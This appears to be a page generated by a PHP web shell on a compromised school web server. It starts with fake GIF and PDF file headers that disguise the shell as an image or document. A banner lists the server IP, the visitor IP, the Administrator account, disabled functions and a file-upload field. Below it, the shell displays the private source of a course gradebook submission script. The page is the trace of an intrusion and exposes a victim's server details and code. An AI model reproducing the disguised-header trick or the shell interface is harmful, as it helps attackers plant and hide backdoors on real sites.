GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
<? // Gradebook/EvaluationSubmission_BEGIN.phpinc // BEGIN Evaluation submission start code. require('Course/courseInfo.phpinc'); require('../../classInfo.phpinc'); $d_O_EvaluationSubmission_BEGIN = d_O(); #d_On(); #d_Var('$_POST',$_POST); if ( !isset($gradeNote) ) { $gradeNote = ''; } if ( $gradeNote !== false ) { $addNote = true; } else { $addNote = false; } #d_Var('$gradeNote',$gradeNote,'d'); // Set variables if not set. // Set $showEvaluationVariables = true to display evaluation variable values. // Sets: // $classId = classId // $classNumber = course number. // $classSection = class section number. // $evaluationId = the evaluationId. // $evaluationInfo = evaluation info. // $evaluationName = evaluation TYPE and two digit number. // $evaluationNumber = evaluation #. // $evaluationTitle = $evaluationInfo['evaluationDescription']; // $evaluationType = evaluation TYPE. // $f_classId = classId. // $f_eId = evaluationId. // $f_message = submission message. // $f_sId = studentId. // $f_uId = student userId. // $gradeNote = grade or submission note. // $saveFilename = base save filename (includes '-Labnn'). // $title = the page title. // $uploadFilename = name for the upload file. // $userFileName = base filename made from full name // $userFirstName = first name. // $userFullName = full name. // $userId = student userId. // $userLastName = last name. // $userShortName = Four character name consisting of the first 3 characters of the first name plus the last name initial. If the first name is too short more last name characters are added. Uppercase is retained. #@d_Var('$evaluationName',$evaluationName,'d'); #@d_Var('$evaluationNumber',$evaluationNumber,'d'); #@d_Var('$evaluationType',$evaluationType,'d'); if ( !isset($disabled) ) $disabled = ''; if ( !isset($evaluationId) ) { // Is the $evaluationId set? // Check form values for classId, eId, sId, and uId. $f_classId = formValue('classId'); $f_eId = formValue('eId'); $f_sId = formValue('sId'); if ( !$f_sId ) $f_sId = $_SESSION['userStudentId']; // Set $userId. $f_uId = formValue('uId'); #d_Var('$f_uId',$f_uId,'d'); if ( !$f_uId ) { $query = " SELECT userId FROM `user` WHERE userStudentId = '".query_safe($f_sId)."' "; $userIdResult = query_do($query); $userIdResultCount = $_SESSION['qry']['count']; if ($userIdResultCount) { mysqli_data_seek($userIdResult, 0); $userIdRow = mysqli_fetch_assoc($userIdResult); $f_uId = $userIdRow['userId']; } else { $f_uId = $_SESSION['userId']; } } $userId = $f_uId; d_Var('$f_sId',$f_sId); d_Var('$f_eId',$f_eId); d_Var('$f_classId',$f_classId); // Ensure $classId is set. if ( !$f_classId ) { // Set the $classId. // Get courseIdList. #d_Var('$courseNumber',$courseNumber,'d'); if ( strpos($f_courseNumber,'CST') !== false ) { $courseNumberOther = str_replace('CST','CST',$courseNumber); } else { $courseNumberOther = str_replace('MMDT','CST',$courseNumber); } #d_Var('$courseNumberOther',$courseNumberOther,'d'); $query = " SELECT courseId FROM `course` WHERE ( courseNumber = '".query_safe($courseNumber)."' OR courseNumber = '".query_safe($courseNumberOther)."' ) AND course.userId = ".$Instructor['Id']." "; d_Var('courseIdResult',$query,'q'); $courseIdResult = query_do($query); $courseIdCount = $_SESSION['qry']['count']; d_Var('$courseIdResult',$courseIdResult,''); $courseIdList = ''; if ($courseIdCount) { $courseIdList = query_to_list($courseIdResult); } else { $courseIdList = 0; } d_Var('$courseIdList',$courseIdList,''); // Get classIdList. $query = " SELECT classId FROM `class` WHERE courseId IN ( ".$courseIdList." ) AND YRTR = '".query_safe($_SESSION['YRTR']['User'])."' ORDER BY classSection "; d_Var('classIdResult',$query,'q'); $classIdResult = query_do($query); $classIdCount = $_SESSION['qry']['count']; #d_Var('$classIdResult',$classIdResult,'d'); if ($classIdCount) { $classIdList = query_to_list($classIdResult); } else { $classIdList = 0; } #d_Var('$classIdList',$classIdList,'d'); // Get classId for student. $query = " SELECT classId FROM `classstudent` WHERE classId IN ( ".$classIdList." ) AND userStudentId = '".query_safe($f_sId)."' "; d_Var('classstudentResult',$query,'q'); $classstudentResult = query_do($query); $classstudentCount = $_SESSION['qry']['count']; d_Var('$classstudentResult',$classstudentResult,''); if ( $classstudentCount ) { mysqli_data_seek($classstudentResult, 0); $classstudentInfo = mysqli_fetch_assoc($classstudentResult); $classId = $classstudentInfo['classId']; } else { if ( in_array('ADMIN',$_SESSION['userPermissions']) || in_array('INSTRUCTOR',$_SESSION['userPermissions']) ) { // Allow all instructors to see the evaluation. // || $_SESSION['userId'] == $Instructor['Id'] $classId = listGetAt($classIdList,0); } else { $classId = 0; } } } else { $classId = $f_classId; } #d_Var('$classIdList',$classIdList,'d'); #d_Var('$classId',$classId,'d'); #$classId = 0; // UNCOMMENT to test not in class. if ( $classId ) { // Get classNumber and classSection. $query = " SELECT classSection , courseNumber FROM `class` JOIN `course` ON course.courseId = class.courseId WHERE classId = ".$classId." "; #d_Var('classSectionResult',$query,'dq'); $classSectionResult = query_do($query); $classSectionCount = $_SESSION['qry']['count']; if ( $classSectionCount ) { mysqli_data_seek($classSectionResult, 0); $classSectionInfo = mysqli_fetch_assoc($classSectionResult); #d_Var('$classSectionInfo',$classSectionInfo,'d'); $classNumber = $classSectionInfo['courseNumber']; $classSection = $classSectionInfo['classSection']; } // Get evaluationId. $query = " SELECT * FROM `evaluation` WHERE classId = ".$classId." AND evaluationTitle = '".query_safe($evaluationName)."' "; d_Var('evaluationResult',$query,'q'); $evaluationResult = query_do($query); $evaluationResultCount = $_SESSION['qry']['count']; #d_Var('$evaluationResult',$evaluationResult,'d'); if ($evaluationResultCount) { mysqli_data_seek($evaluationResult, 0); $evaluationInfo = mysqli_fetch_assoc($evaluationResult); #d_Var('$evaluationInfo',$evaluationInfo,'d'); $evaluationId = $evaluationInfo['evaluationId']; } else { $evaluationInfo = false; $evaluationId = 0; } #d_Var('$evaluationId',$evaluationId,'d'); $evaluationTitle = $evaluationInfo['evaluationDescription']; #$evaluationInfo = false; // UNCOMMENT to test evaluationInfo error. if ( !$evaluationInfo ) { ?> <p> <b class="error">Programming Error: The evaluation information was not found.</b><br> Please contact <?=$Instructor['Name']?> and describe this error. </p> <? require('common/pageFooter.phpinc'); } // Check for previous submission and grade. $require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = true; } else { $require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = false; $classNumber = $courseNumber; } #d_Var('$classNumber',$classNumber,'d'); } // Is the $evaluationId set? $title = $evaluationType." ".$evaluationNumber; if ( isset($evaluationTitle) ) $title .= ' - '.$evaluationInfo['evaluationDescription']; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; #$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.userName($userId); $sectionTitle = $title;//.' - '.userName($userId); if ( $classId == 0 ) require('common/Class/StudentNotInClass.phpinc'); $userFirstName = userFirstName($userId);; $userLastName = userLastName($userId); $userFullName = userName($userId); if ( $userLastName != '' ){ $userShortName = substr($userFirstName,0,3); $userShortName .= substr($userLastName,0,4-strlen($userShortName)); } else { $userShortName = substr($userFirstName,0,3); } #$userFileName = fileSafe(str_replace(array("'","-"," "),"",$userFullName)); // Remove non-alpha characters. $userFileName = fileSafe(preg_replace("/[^a-zA-Z]/", '', $userFullName)); // Remove non-alpha characters. $saveFilename = fileSafe($userFileName.'_'.$evaluationName); $saveFileName_A = $saveFilename.'_A'; $saveFileName_B = $saveFilename.'_B'; $uploadFilename = fileSafe($classNumber.'_'.$saveFilename.'.zip'); require('EvaluationDueDate.phpinc'); #d_Var('$f_form',$f_form,'',false,true); #d_Line('form_'.$courseNumber.'_'.$evaluationName,'',false,true); if ( $f_form == 'form_'.$courseNumber.'_'.$evaluationName && !isset($EvaluationSubmission_PROCESS) ) { require('Gradebook/EvaluationSubmission_PROCESS.phpinc'); // Proccess the submission. // Check for previous submission and grade. $require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission = true; } else { $f_message = ''; } if ( $require_EvaluationSubmission_BEGIN_Check_for_grade_or_submission ) { require('Gradebook/EvaluationSubmission_BEGIN_Check_for_grade_or_submission.phpinc'); #d_Var('$gradeNote',$gradeNote,'d'); } else { $graded = false; } if ( !isset($noPageHeader) ) { require('common/pageHeader.phpinc'); /** /?><span style="color:white;">Loaded /common/pageHeader.phpinc from <?=__FILE__?>:<?=__LINE__?>.</span><?/**/ require('common/sectionHeader.phpinc'); require('Gradebook/EvaluationSubmission_BEGIN_FORM.phpinc'); } $isGB = false; $f_classId = $classId; $evaluationIdList = $evaluationId; require('Gradebook/evaluationStudentInfo.phpinc'); $pageTitle = $evaluationType.' '.$evaluationNumber.' - '.$userFullName; $pageTitle_A = $evaluationType.' '.$evaluationNumber.' - '.$userFullName.' - Page A'; $pageTitle_B = $evaluationType.' '.$evaluationNumber.' - '.$userFullName.' - Page B'; // Configure $defaultDrive, $dataFolder, $dirSep, and $apacheFolder require('Gradebook/EvaluationSubmission_BEGIN_folders.phpinc'); #$debug_backtrace = debug_backtrace(); #d_Var('debug_backtrace',$debug_backtrace); #echo $dueText; if ( $_SESSION['userId'] == -1 ) { $showEvaluationVariables = true; } if (isset($showEvaluationVariables) && $showEvaluationVariables ) { $d_O_showEvaluationVariables = d_O(); d_On(); d_Var('$classId',$classId,'/'); d_Var('$classNumber',$classNumber,'l'); d_Var('$classSection',$classSection,'l'); d_Var('$evaluationId',$evaluationId,'l'); d_Var('$evaluationInfo',$evaluationInfo,'l'); d_Var('$evaluationName',$evaluationName,'l'); d_Var('$evaluationNumber',$evaluationNumber,'l'); d_Var('$evaluationTitle',$evaluationTitle,'l'); d_Var('$evaluationType',$evaluationType,'l'); d_Var('$f_classId',$f_classId,'l'); d_Var('$f_eId',$f_eId,'l'); d_Var('$f_message',$f_message,'l'); d_Var('$f_sId',$f_sId,'l'); d_Var('$f_uId',$f_uId,'l'); d_Var('$gradeNote',$gradeNote,'l'); d_Var('$userFileName',$userFileName,'l'); d_Var('$saveFilename',$saveFilename,'l'); d_Var('$uploadFilename',$uploadFilename,'l'); d_Var('$title',$title,'l'); d_Var('$userFullName',$userFullName,'l'); d_Var('$userFirstName',$userFirstName,'l'); d_Var('$userLastName',$userLastName,'l'); d_Var('$userShortName',$userShortName,'l'); d_Var('$userId',$userId,'l'); d_Var('$sInfo',$sInfo,'l'); if ( !$d_O_showEvaluationVariables ) d_Off(); } #d_Var('$gradeNote',$gradeNote,'d'); if ( $addNote ) { $gradeNote .= '<div class="hp note"> I have added a capability to assignment pages: You can now <b>check-off</b> the steps by clicking on the step numbers. <br>This is not persistant. If you reload the page all steps begin as un-checked again. </div>'; } if ( !$d_O_EvaluationSubmission_BEGIN ) d_Off(); // END Evaluation submission start code. ?>